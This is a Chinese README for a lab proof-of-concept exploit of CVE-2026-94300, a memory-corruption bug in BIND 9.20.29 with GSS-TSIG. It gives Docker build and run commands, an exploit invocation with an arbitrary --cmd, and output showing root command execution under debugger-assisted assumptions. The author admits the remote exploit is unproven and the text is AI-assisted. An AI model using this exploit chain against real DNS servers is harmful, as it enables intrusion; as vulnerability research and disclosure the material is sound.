注:本分析与 PoC 主要是在 AI 辅助下完成的(“AI 拼凑”)。所有代码、diff 和测量结论在采信之前,都应对照所引用的来源进行核实。
CVE-2026-94300 利用链的自包含 PoC 文件夹 (BIND 9.20.29 配合 GSS-TSIG、krb5 1.20.1、jemalloc 5.3.0)。
此处已证明的内容: 一组泄漏的地址(此处来自 gdb)就足以利用已测量的原语,在
named 进程中构建代码执行。该漏洞利用消费来自
docker logs 的泄漏;其中不包含任何地址字面量。
此处明确属于模型的部分(报告中已如此声明):
| 假设 | 原因 |
|---|---|
| 来自 gdb 的泄漏 | 该 CVE 没有信息泄漏原语;真实的泄漏必须来自另一个漏洞 |
关闭 ASLR(setarch -R) | 没有泄漏就没有堆/代码地址 |
| 通过 gdb 注入对象内容控制 | 在真实路径中,用此处考察的手段回收被释放的 8 字节槽位未能成功(470 万次尝试,0 次命中)——这是一个有记录的障碍,而非不可能性的证明 |
没有演示远程 RCE,也没有持久化。命令通过漏洞利用程序上的 --cmd 给出:host/exploit.py 通过 Docker 控制通道(docker exec,即操作者本就拥有的同等权限)将其传入容器;漏洞利用程序本身
只发送泄漏的地址和捕获的数据包。载荷还会写入 RCE-PROOF 行(用于验证)并终止 named。
sequenceDiagram
participant R as Researcher (host)
participant V as Container: named 9.20.29 + gdb
participant L as docker logs
R->>V: docker run -p 127.0.0.1:15353:53/udp
V->>V: TKEY capture (no send), gdb breaks on dns_db_currentversion
V->>L: LEAK: db=…, methods=…, heap=…, wire_b64=… (sha256)
V->>V: model armed, waits for host replay
R->>L: read docker logs + validate (11 checks)
R->>V: docker exec: --cmd to /tmp/rce-payload-cmd
R->>V: UDP replay of the leaked signed packet to 15353
V->>V: krb5_k_free_key → free(db) → reclaim → fake dns_db_t
V->>V: dns_db_currentversion → jmp *methods+0x30 → payload
R->>V: docker exec cat /tmp/rce-proof
| 路径 | 用途 |
|---|---|
docker/Dockerfile | 受害镜像:来自 ISC tarball 的 BIND 9.20.29 + gdb + KDC + 实验驱动 |
etc/ | krb5.conf、kdc.conf、named.conf、zone(由镜像复制到 /etc) |
host/exploit.py | 宿主机漏洞利用:读取 docker logs、验证、通过 UDP 重放、检查标记 |
lab/rce_victim.sh | 容器内驱动:在 gdb 下运行 named、无发送捕获、泄漏、等待 |
lab/rce_model.py | gdb 模型:断点、泄漏块、布防、调度观察 |
lab/rce_leak.py | 泄漏阶段:地址 + wire_b64 → stdout/文件 |
lab/rce_exploit.py | 容器内利用阶段:从泄漏构建伪造对象、回收、调度 |
lab/rce_shim.c | 固定页 shim:伪造表、伪造 dns_db_t 模板、载荷 |
lab/replay-lab.py | TKEY 捕获(--no-send) |
lab/gss_context_lab.py | 用于捕获的 GSS 上下文辅助工具 |
lab/start.sh、lab/named.replay.conf | KDC/keytab/zone 引导、named 配置 |
RACE.md | 关于共享 GSS-TSIG 上下文上竞态的解释:共享、访问、触发、测量、范围界定 |
VERIFY.md | 针对源码差异 9.20.29 → 9.20.30 对三项主张的验证(GSS-TSIG 锁定、破坏性 keyring 转储、RCE 范围界定) |
EXPLOIT.md | 带代码证据和 Mermaid 图的漏洞利用描述 |
USAGE.md | 构建、运行、预期输出、故障排除 |
ANAYLSE.md | 可发布的披露附录(影响协调:DoS 与潜在 RCE、受影响版本、缓解措施、检测)——不含漏洞利用原语 |
ANALYZE.md | 披露附录的英文版本 |
(本文件为 README.md;其他 PoC 文档也以 RACE.md、VERIFY.md、
EXPLOIT.md、USAGE.md 的形式存在。)
仅在构建时需要 Docker + 互联网。镜像从官方 ISC tarball
(https://downloads.isc.org/isc/bind9/9.20.29/bind-9.20.29.tar.xz,SHA-256 已固定)自行构建 BIND 9.20.29,
使用 --with-gssapi=yes,并安装 gdb、MIT Kerberos KDC 和实验驱动。无需发行版
BIND,无需预构建基础镜像。
镜像包含一个一次性 KDC 身份 [email protected](密码 attacker,
realm EXAMPLE.TEST,KDC 仅在容器内的 127.0.0.1:88 上)——仅用于本实验,不
用于针对其他服务器的 GSS-TSIG 测试;请勿将 keytab 带出容器。
cd poc/CVE-2026-94300-poc
docker build -f docker/Dockerfile -t cve-2026-94300-victim .
# Terminal 1: container
docker run --rm --name cve-2026-94300-victim \
-p 127.0.0.1:15353:53/udp \
--security-opt seccomp=unconfined \
cve-2026-94300-victim # prints the LEAK block to stdout
# Terminal 2: exploit from the host, target + command as arguments
python3 host/exploit.py --ip 127.0.0.1 --port 15353 --cmd 'id > /tmp/bla'
docker exec cve-2026-94300-victim cat /tmp/bla # uid=0(root) …
预期(摘录):
LEAK: db=0x7ffff6901c00
LEAK: db_methods=0x7ffff7c497c0
LEAK: payload=0x7ffff7fbe37b
LEAK: wire_len=3907
HOST-EXPLOIT-VALIDATE OK checks=11
HOST-EXPLOIT-REPLAY target=127.0.0.1:15353 bytes=3907
RCE-DISPATCH-INDIRECT target=0x7ffff7fbe37b (rce_payload) match=YES
RCE-PAYLOAD-EXECUTED RCE-PROOF pid=… uid=0 euid=0 db=0x7ffff6901c00
HOST-EXPLOIT-VERDICT payload_executed=YES marker=YES
建议性说明: ISC 将 CVE-2026-94300 评定为远程、高危、CVSS 8.1(AC:H),并可能实现代码执行。公开且可复现地确立的是:在共享的 GSS-TSIG 上下文上,无需凭据、由重放触发的内存破坏(释放后使用/双重释放)——属于拒绝服务至堆破坏类别。迄今为止,通往代码执行的路径仅在调试器辅助的模型假设下(关闭 ASLR、注入地址/对象内容)得到展示;尚不存在已演示的远程 RCE。
已确立:在存在信息泄露的前提下,目标进程中可随之实现 RCE。未确立:在没有信息泄露且不使用 gdb 的情况下实施远程攻击——为此尚缺少信息泄露原语以及已实现的内存回收步骤。这是一组有据可查的障碍,并非不可能性证明;ISC 将代码执行类别列为潜在风险。代码基础(同步缺陷、破坏性转储、补丁修复了什么以及未修复什么)已在 VERIFY.md 中对照两棵代码树的差异进行核查;竞态在技术上的运作方式见 RACE.md。漏洞利用细节与代码证据:EXPLOIT.md,执行方式与选项:USAGE.md。可发布的披露内容:ANALYZE.md。